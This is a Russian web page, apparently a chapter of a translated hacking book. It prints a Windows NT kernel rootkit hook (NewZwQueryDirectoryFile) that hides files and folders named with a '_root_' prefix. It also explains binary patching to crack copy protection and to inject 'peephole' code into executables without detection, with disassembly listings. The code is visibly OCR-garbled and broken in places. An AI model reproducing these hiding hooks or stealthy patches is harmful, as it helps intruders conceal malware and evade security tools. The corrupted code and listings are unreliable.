На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Сокрытие файлов и каталогов

Продолжая тему маскировки с помощью перехвата вызовов, есть смысл рассказать о сокрытии каталогов, в которых хакер может разместить файлы журналов и утилиты. И снова для решения этой задачи достаточно перехвата одного вызова. В системе Windows NT это вызов функции QueryDirectoryFile (). Наша "троянская" версия этой функции будет скрывать все файлы и каталоги, названия которых начинаются с _root_. И снова хитрость очень проста и удобна в использовании. В действительности, файлы и каталоги продолжают существовать и можно использовать ссылки к этим файлам и каталогам. Только программы для отображения списка и содержимого каталогов будут выдавать неполную информацию. Можно изменять положение скрытого каталога или исполнять и открывать скрытые файлы. Однако лучше запомнить названия этих файлов и каталогов!
NTSTATUS NewZwQueryDirectoryFile( IN HANDLE hFile, IN HANDLE hEvent OPTIONAL, IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL, IN PVOID IoApcContext OPTIONAL, OUT PIO_STATUS_BLOCK pIoStatusBlock, OUT PVOID FilelnformationBuffer, IN ULONG FilelnformationBufferLength, IN FILE_INFORMATION_CLASS FilelnfoClass, IN BOOLEAN bReturnOnlyOneEntry, IN PUNICODE_STRING PathMask OPTIONAL, IN BOOLEAN bRestartQuery
) (
NTSTATUS rc;
CHAR aProcessName[PROCNAMELEN]; GetProcessName(aProcessName );
DbgPrint("rootkit:NewZwQueryDirectoryFile()from %s \n",aProcessName);
rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))( hFile, /*это дескриптор каталога */
hEvent, IoApcRoutine, IoApcContext, pIoStatusBlock, FilelnformationBuffer, FilelnformationBufferLength, FilelnfoClass, bReturnOnlyOneEntry, PathMask, bRestartQuery) ;
// этот код был нами позаимствован и адаптирован if(NT SUCCESS(rc ))
::(0 ==memcmp(aProcessName,"_root_",6))
{
DbgPrint("rootkit:обнаруженный запрос
^ файла/каталога из root process \n");
j —
//Ищем файловый объект для запрошенного каталога //Этот флаг контролируется оболочкой ядра else if(g hide_directories) {
PDirEntry p = (PDirEntry)FilelnformationBuffer; PDirEntry pLast = NULL; BOOL bLastOne; do (
bLastOne =!(p->dwLenToNext ); //Этот блок использовался раньше для //изменения информации о файле null.sys? //теперь он не нужен ...-Грег
//if(RtlCompareMemory((PVOID)&p->suName [ 0 ], //(PVOID)&g_swRootSys [ 0 ],20 )==20 )

//p->ftCreate =fdeNull.ftCreate; //p->ftLastAccess =fdeNull.ftLastAccess; //p->ftLastWrite =fdeNull.ftLastWrite; //p->dwFileSizeHigh =fdeNull.dwFileSizeHigh; //p->dwFileSizeLow =fdeNull.dwFileSizeLow; //}
//else
//сравниваем начало имени каталога с '_root_' //чтобы принять решение о его маскировке, if(RtlCompareMemory( (PVOID)Sp->suName[ 0 ], ^ (PVOID)Sg_swFileHidePrefix[ 0 ], 12 ) == 12 )
if(bLastOne )
if(p ==(PDirEntry)
FilelnformationBuffer )
rc =0x80000006;
else pLast->dwLenToNext =0;
break;
else
int iPos =((ULONG)p)-<b (ULONG) Filelnf ormationBuf fer;
int iLeft =
^ (DWORD)FilelnformationBufferLength -iPos - p->dwLenToNext;
RtlCopyMemory((PVOID)p, (PVOID) ( (char *)p + p->dwLenToNext ), (DWORD)iLeft );
continue;
pLast =p;
p = (PDirEntry)((char *)p +p->dwLenToNext ); (while(!bLastOne );
return(rc);
Исправление двоичного кода
Одно из преимуществ восстановления исходного кода заключается в возможности исследования программы на уровне двоичного кода. По мере накопления необходимого опыта, вы научитесь замечать и узнавать определенные структуры данных или подпрограммы по одному их внешнему виду в шестнадцатеричном редакторе. Это кажется невероятным, но опытный хакер может, проглядывая двоичный файл, сказать: "Вот здесь таблица переходов" или "Вероятно, это пролог подпрограммы". Такие способности проявляются у каждого, кто действительно стремится научиться читать машинный код. Как и в любом другом деле, здесь необходимо много тренироваться.
Овладев этим искусством, со всей ясностью понимаешь, что ни одна программа не является идеальной. Можно взломать даже самошифрующийся код. Давайте считать аксиомой, что если код исполняется процессором, то в какой-то момент он может быть расшифрован. Многие годы сообщество хакеров работало над решением основных задач по восстановлению исходного кода. В подавляющем большинстве случаев хакерам удалось найти средства для взлома механизмов защиты от копиро

вания, которые используются поставщиками программного обеспечения. Процесс восстановления исходного кода позволяет скопировать код генерации серийного номера или приводит к установке заплаты в двоичном коде, которая удаляет логические действия по проверке прав копирования из взломанной программы. Как говорит один наш хороший друг, "то, что сделал один человек, другой человек всегда сможет сломать".
"Замочная скважина" в программе
Одно из важнейших умений хакера состоит в возможности вносить изменения в код программы (установка заплат) без изменения данных этой программы. Эта хитрость может применяться для доступа к интересующим данным. Допустим, необходимо перехватить информацию во взламываемой программе без изменения хода ее выполнения, которое бы можно было заметить. Для этой цели можно воспользоваться специальной заплатой типа "замочная скважина" (peephole patch). Обратите внимание, что фундаментальный принцип этого метода заключается в добавлении нового кодабез воздействия на состояние программы.
Поскольку в данном случае не требуется знать адрес в памяти исходного кода, то метод можно использовать практически для любого компонента программного обеспечения. Здесь не изменяются данные в регистрах центрального процессора, в стеке или куче, поэтому хакер может быть уверен, что он не изменит нормальный ход работы программы и не будет выявлен с помощью средств обеспечения безопасности.
В этом примере мы воспользовались заполнениями в блоках кода форматированного исполняемого файла для размещения нашего дополнительного кода. Уже многие годы этот метод добавления кода использовался для достижения подобных целей в вирусных программах. В данном случае мы внедряем дополнительный код в исполняемый файл.
Давайте добавим оператор отслеживания в следующий программный код.
int my_function( int a )
Функция, скомпилированная без отладки, выглядит следующим образом.
if(a ~1)
printf ("-"); return 0;
//ОТСЛЕЖИВАНИЕГ'а равна единице") ; printf("ccc"); return 42;
<stuff>
00401000
00401005
00401007
0040100C
00401011
00401014
00401019
0040101A
0040101F
00401024
00401027
00401029
mov
cmp j ne push call add
ret push call add
xor ret
eax,2Ah
0040101A 407034h 00401060 esp, 4
407030h 00401060 esp, 4
eax,eax

Как видим, в скомпилированной программе есть несколько команд jmp. Это команды ветвления. Как правило, подобные ветвления происходят при вызове функций if () или while (), которые присутствуют в исходном коде. Мы можем воспользоваться этим и незаметно изменить ход выполнения программы. При установке заплат после команд перехода, нет необходимости в каком-либо изменении кода, т.е. мы можем заставить команду ветвления осуществить передачу управления в какое-либо другое место без изменения близлежащего кода. В этом примере мы изменяем команду ветвления, чтобы заставить осуществить переход к нашему коду ОТСШЖИВАНМЕ. После исполнения нашего блока кода, используется другой переход, чтобы вернуться непосредственно в ту точку, где программа остановилась перед тем, как наш замаскированный код использовал несколько циклов работы центрального процессора.
Состояние программы очевидно не изменяется и данные в регистрах не искажаются. Таким образом, программа и ее пользователь остаются полностью неосведомленными о состоявшемся изменении в ходе выполнения программы. Измененная программа продолжает работать без каких-либо заметных проявлений (разумеется, для хакера они будут заметными).
Версия подпрограммы, которая не прошла отладку, выдает следующий результат.
00401000
83

24
04
01
cmp
dword ptr
[esp+4 ],1

00401005
75
13



jne
0040101А

00401007
68
34
70
40
00
push
407034h

0040100С
Е8
4F
00
00
00
call
00401060

00401011
83
С4
04


add
esp, 4

00401014
В8

00
00
00
mov
eax,2Ah

00401019
СЗ




ret

0040101А
68
30
70
40
00
push
407030h

0040101F
Е8
ЗС
00
00
00
call
00401060

00401024
83
С4
04


add
esp, 4

00401027
33
СО



xor
eax,eax

00401029
C3




ret


Вызов функции OutputDebugString () выглядит следующим образом.
77F8F659 В8 9F 00 00 00 mov eax,9Fh
77F8F65E 8D 54 24 04 lea edx,[esp + 4]
77F8F662 CD 2E int 2Eh
Вызывается эта функция с помощью следующей команды.
00401030 68 38 70 40 00 push 407038h
00401035 FF 15 58 60 40 00 call dword ptr ds:[406058h ]
0040103В СЗ ret
В этом примере мы решили достаточно серьезную задачу — добавили в программу возможность отслеживать ход выполнения программы и знать о возникновении определенных состояний. Это позволяет "проникать" внутрь программы, что, несомненно, очень важно при взломе программного обеспечения.

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика